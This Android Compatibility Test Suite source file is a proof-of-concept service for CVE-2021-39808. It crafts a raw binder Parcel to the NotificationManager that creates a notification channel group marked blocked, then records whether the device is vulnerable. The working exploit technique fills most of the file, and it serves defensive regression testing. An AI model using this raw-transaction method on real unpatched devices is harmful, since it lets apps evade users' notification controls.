| /* |
| * Copyright (C) 2022 The Android Open Source Project |
| * |
| * Licensed under the Apache License, Version 2.0 (the "License"); |
| * you may not use this file except in compliance with the License. |
| * You may obtain a copy of the License at |
| * |
| * http://www.apache.org/licenses/LICENSE-2.0 |
| * |
| * Unless required by applicable law or agreed to in writing, software |
| * distributed under the License is distributed on an "AS IS" BASIS, |
| * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. |
| * See the License for the specific language governing permissions and |
| * limitations under the License. |
| */ |
| |
| package android.security.cts.CVE_2021_39808; |
| |
| import android.app.INotificationManager; |
| import android.app.NotificationChannelGroup; |
| import android.app.NotificationManager; |
| import android.app.Service; |
| import android.content.Context; |
| import android.content.Intent; |
| import android.content.SharedPreferences; |
| import android.os.IBinder; |
| import android.os.Parcel; |
| import android.os.ServiceManager; |
| import android.text.TextUtils; |
| |
| import java.lang.reflect.Method; |
| |
| public class PocService extends Service { |
| |
| @Override |
| public IBinder onBind(Intent intent) { |
| return null; |
| } |
| |
| @Override |
| public void onCreate() { |
| try { |
| super.onCreate(); |
| setResult(getResources().getInteger(R.integer.fail), |
| getResources().getString(R.string.vulnerableMessage)); |
| createNotificationGroup(); |
| } catch (Exception e) { |
| setResult(getResources().getInteger(R.integer.assumptionFailure), |
| e.getMessage()); |
| } |
| } |
| |
| void createNotificationGroup() throws Exception { |
| IBinder binder = ServiceManager |
| .getService(getResources().getString(R.string.notification)); |
| int serviceId = getTransactionCode( |
| getResources().getString(R.string.functionName)); |
| if (serviceId == -1) { |
| setResult(getResources().getInteger(R.integer.assumptionFailure), |
| getString(R.string.errorNoMethodFound)); |
| return; |
| } else if (serviceId == -2) { |
| setResult(getResources().getInteger(R.integer.assumptionFailure), |
| getString(R.string.errorTargetMethodNotFound)); |
| return; |
| } |
| createNotificationGroup(binder, serviceId); |
| NotificationManager notificationManager = (NotificationManager) getSystemService( |
| NOTIFICATION_SERVICE); |
| NotificationChannelGroup notificationChannelGroup = notificationManager |
| .getNotificationChannelGroup( |
| getResources().getString(R.string.groupId)); |
| if (!notificationChannelGroup.isBlocked()) { |
| setResult(getResources().getInteger(R.integer.pass), |
| getResources().getString(R.string.passMessage)); |
| } |
| } |
| |
| int getTransactionCode(String methodName) { |
| int txCode = IBinder.FIRST_CALL_TRANSACTION; |
| String txName = INotificationManager.Stub |
| .getDefaultTransactionName(txCode); |
| if (txName == null) { |
| return -1; |
| } |
| while (txName != null && txCode <= IBinder.LAST_CALL_TRANSACTION) { |
| txName = INotificationManager.Stub |
| .getDefaultTransactionName(++txCode); |
| if (txName.equals(methodName)) { |
| break; |
| } |
| } |
| if (txName == null) { |
| return -2; |
| } |
| return txCode; |
| } |
| |
| void createNotificationGroup(IBinder binder, int code) throws Exception { |
| String description = binder.getInterfaceDescriptor(); |
| Parcel data = Parcel.obtain(); |
| Parcel reply = Parcel.obtain(); |
| data.writeInterfaceToken(description); |
| data.writeString(this.getPackageName()); |
| data.writeInt(getResources().getInteger(R.integer.setFlag)); |
| data.writeInt(getResources().getInteger(R.integer.setFlag)); |
| data.writeString(NotificationChannelGroup.class.getName()); |
| data.writeInt(getResources().getInteger(R.integer.setFlag)); |
| data.writeByte((byte) getResources().getInteger(R.integer.setFlag)); |
| data.writeString(getResources().getString(R.string.groupId)); |
| TextUtils.writeToParcel(getResources().getString(R.string.group), data, |
| getResources().getInteger(R.integer.setFlag)); |
| data.writeByte((byte) getResources().getInteger(R.integer.value)); |
| data.writeInt(getResources().getInteger(R.integer.falseVal)); |
| data.writeInt(getResources().getInteger(R.integer.setFlag)); |
| boolean val = (boolean) binder.transact(code, data, reply, |
| getResources().getInteger(R.integer.value)); |
| if (!val) { |
| setResult(getResources().getInteger(R.integer.assumptionFailure), |
| getResources().getString(R.string.illegalCode)); |
| } |
| reply.readException(); |
| } |
| |
| private void setResult(int result, String message) { |
| try { |
| SharedPreferences sh = getSharedPreferences( |
| getString(R.string.sharedPreference), Context.MODE_PRIVATE); |
| SharedPreferences.Editor edit = sh.edit(); |
| edit.putInt(getString(R.string.resultKey), result); |
| edit.putString(getString(R.string.messageKey), message); |
| edit.commit(); |
| } catch (Exception e) { |
| // ignore exception |
| } |
| } |
| } |